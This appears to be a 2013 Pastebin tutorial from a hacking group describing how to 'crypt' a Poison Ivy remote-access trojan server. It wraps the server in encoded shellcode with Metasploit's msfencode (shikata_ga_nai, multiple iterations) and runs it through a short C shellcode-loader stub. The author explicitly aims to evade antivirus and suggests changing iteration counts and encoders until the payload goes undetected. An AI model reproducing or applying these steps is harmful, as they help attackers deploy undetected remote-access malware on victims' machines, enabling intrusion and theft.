Advertisement
Guest User

Tuto

a guest
Jul 14th, 2013
320
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 1.90 KB | None | 0 0
  1.  
  2.  
  3. /* Pi Crypting throue MetaSploit *\
  4. -------------------------------------
  5. | BY Stalk3R |
  6. | FOR SEC4EVER |
  7. | Email: Stalk3R@live.CoM |
  8. -------------------------------------
  9. Salam 3alaykoum / Saha Remdhankoum
  10.  
  11. 1- Tools:
  12. ---------
  13. -> Poison Ivy
  14. -> MetaSploit (In this tuto i use Version 3.3.3)
  15. -> C/C++ Compilator
  16.  
  17.  
  18. 2- Let's begin:
  19. ---------------
  20. - Create ure own server on Poison Ivy
  21. - Compile this one on BINARY
  22. - Open cmd and go here:
  23.  
  24. > cd %dir%\msf3
  25.  
  26. - Encode BIN file / Generate Shellcode with -shikata_ga_nai- Encryption:
  27.  
  28. > ruby msfencode -e x86/shikata_ga_nai -c 12 -t c -i server.bin -o scode.txt
  29.  
  30. - Open ure C++ Compilator (dev-c++) and write this:
  31.  
  32. #include <windows.h>
  33.  
  34. BYTE shellcode[] = "URE SHELLCODE HERE !";
  35.  
  36. int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, int nShowCmd)
  37. {
  38. ((VOID (*)())shellcode)();
  39.  
  40. return EXIT_SUCCESS;
  41. }
  42.  
  43.  
  44. - Compile and test the new server =D
  45.  
  46. - U have know a server with ure own encryption, u can change value (12) with other one until u get a new value to
  47. encrypte ure server with it and esquive anti-virus. U can too use other encryptions like:
  48.  
  49. > x86/countdown
  50. > call4_dword_xor
  51. > ...
  52.  
  53.  
  54. Enjoy !
  55.  
  56. Greetz:
  57. -------
  58. Mu$lim, B07 M4S73R, sec4ever, Mr NoRvI, Str0xo, n4ss1m, Ma3sTr0-Dz, Black-ID, Damane2011, LinuxCs, jago-dz
  59.  
  60. -> And All members of Sec4ever <-
  61.  
  62. >> Li nssit l ism ta3ou mayez3efch :) <<
  63. BYE !
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement